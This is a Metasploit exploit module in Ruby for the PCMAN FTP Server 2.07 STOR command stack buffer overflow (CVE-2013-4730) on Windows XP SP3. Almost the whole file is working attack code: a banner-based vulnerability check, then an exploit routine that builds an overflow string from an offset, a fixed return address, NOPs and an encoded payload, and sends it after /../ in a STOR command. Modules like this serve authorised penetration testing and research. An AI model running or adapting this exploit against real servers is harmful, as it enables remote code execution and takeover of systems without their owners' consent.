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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow vulnerability found in the STOR command of the
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          PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
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          note authentication is required in order to trigger the vulnerability. The overflowing
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          string will also be seen on the FTP server log console.
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        },
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        'Author' => [
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          'Christian (Polunchis) Ramirez', # Initial Discovery
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          'Rick (nanotechz9l) Flores' # Metasploit Module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2013-4730' ],
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          [ 'OSVDB', '94624'],
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          [ 'EDB', '27703']
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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          'VERBOSE' => true
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        },
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        'Payload' => {
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          'Space' => 1000,
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          'BadChars' => "\x00\xff\x0a\x0d\x20\x40",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [
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            'Windows XP SP3 English',
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            {
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              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
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              'Offset' => 2011
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            }
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          ],
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        ],
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        'DisclosureDate' => '2013-06-27',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def post_auth?
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    true
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  end
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  def check
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    c = connect_login
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    disconnect
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    if c and banner =~ /220 PCMan's FTP Server 2\.0/
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      # Auth is required to exploit
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      vprint_status("Able to authenticate, and banner shows the vulnerable version")
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      return Exploit::CheckCode::Appears
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    elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
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      vprint_status("Unable to authenticate, but banner shows the vulnerable version")
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      # Auth failed, but based on version maybe the target is vulnerable
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    c = connect_login
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    # Auth failed. The mixin should show the error, so we just bail.
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    return unless c
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    # Username is part of the overflowing string, so we need to account for that length
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    user_length = datastore['FTPUSER'].to_s.length
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    print_status("Trying victim #{target.name}...")
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    sploit = rand_text_alpha(target['Offset'] - user_length)
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    sploit << [target.ret].pack('V')
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    sploit << make_nops(4)
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    sploit << payload.encoded
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    sploit << rand_text_alpha(sploit.length)
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    send_cmd(["STOR", "/../" + sploit], false)
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    disconnect
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  end
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end
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